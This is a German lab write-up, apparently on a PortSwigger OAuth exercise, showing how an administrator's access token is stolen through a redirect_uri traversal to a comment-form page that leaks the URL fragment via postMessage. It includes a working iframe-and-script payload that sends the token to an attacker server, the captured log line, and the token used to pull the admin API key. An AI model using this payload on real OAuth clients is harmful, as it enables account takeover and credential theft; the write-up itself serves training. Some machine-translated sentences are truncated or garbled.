> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# Diebstahl von OAuth-Access-Tokens über Proxy-Seite

### OAuth-Zugriffstoken über eine Proxy-Seite stehlen

**Lernziel**

Dieses Labor implementiert einen OAuth-Dienst, der eine Authentifizierung über ein soziales Netzwerk ermöglicht. / Unzureichende Validierung auf Anbieterseite des OAuth erlaubt es uns, **das Zugriffstoken auf eine beliebige Seite der Clientanwendung umzuleiten**.

Das Ziel ist:

* identify **eine sekundäre Schwachstelle** in der Clientanwendung,
* als **Proxy-Seite** um das OAuth-Zugriffstoken des Administrators abzufangen,
* und dann dieses Token zu verwenden, um \*\*l wiederherzustellen

" Der Administrator wird beliebige vom Betriebsserver gesendete Inhalte öffnen und verfügt bereits über eine aktive OAuth-Sitzung.

<figure><img src="/files/22003ebdad93c2dcaaec2dc4d01d12dfdd8f98ec" alt=""><figcaption></figcaption></figure>

\*\* Analyse der Clientanwendung\*\*

Unter Blogartikeln wird ein \*\* Kommentarbereich\*\* beobachtet.

Beim Laden des Kommentarformulars wird eine GET-Anfrage an

```http
GET /post/comment/comment-form
```

<figure><img src="/files/b5fc35bb65fe86352a1e1bd88e9c7fee14345c0c" alt=""><figcaption></figcaption></figure>

Das Formular wird in ein **iframe** eingebettet, das im Quellcode der Beitragsseite sichtbar ist:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/2e3bb560473def7cf8dcdcacf7f1212fdb6cb25f" alt=""><figcaption></figcaption></figure>

**Interessantes JavaScript-Verhalten**

Das Formular enthält ein verräterisches JavaScript-Skript:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/27c619331c8101dadaa5588bc0cd0dbd0c7a90d8" alt=""><figcaption></figcaption></figure>

Wichtige Punkte:

* Das Skript \*\* liest das URL-Fragment (`#`)\*\*.
* Es sendet dessen Inhalt über `postMessage`.
* Dadurch ist es möglich, *ein im Fragment vorhandenes OAuth-Token*\*.

Das Kommentarformular kann daher als **Proxy-Seite**.

**OAuth-Ausnutzung über den impliziten Flow**

Die OAuth-Weiterleitung wird so geändert, dass sie auf das Kommentarformular zeigt:

```bash
/../post/comment/comment-form
```

Beispiel einer verarbeiteten OAuth-Anfrage:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

Nach der Authentifizierung leitet der OAuth-Server weiter zu:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

Das **Das Token ist daher im URL-Fragment offengelegt** und dann über `postMessage`.

<figure><img src="/files/195bd7310006df9d7237bc7d009cd29c6af9eb6d" alt=""><figcaption></figcaption></figure>

**An das Opfer gesendete Nutzlast**

Vom Betriebsserver senden wir den folgenden Inhalt:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Vorgehen:

* Das iframe löst den impliziten OAuth-Flow aus.
* Das Token wird in das URL-Fragment eingefügt.
* Das Kommentarformular, das über `postMessage`.
* Das Skript erfasst es und leitet es an den Betriebsserver weiter.

**Token-Wiederherstellung**

In den Protokollen des Betriebsservers:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Opfer) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/a52b6152f7a2e066055ca10bb0569bdfd6475320" alt=""><figcaption></figcaption></figure>

Nach der Dekodierung der URL lautet das Token:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/50801c8946982ea4cf6e47c8f686edf347ebd2af" alt=""><figcaption></figcaption></figure>

**Zugriff auf die API mit gestohlenem Token**

Das Token wird verwendet, um den OAuth-Anbieter aufzurufen `/me` Endpunkt

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Antwort

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/51d2df2fde45052b3561cf1519471b95549daf09" alt=""><figcaption></figcaption></figure>

**Ergebnis**

* Das OAuth-Token des Administrators wurde gestohlen.
* Der API-Schlüssel des Administrators wurde wiederhergestellt.
* Das Labor wurde erfolgreich verifiziert.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
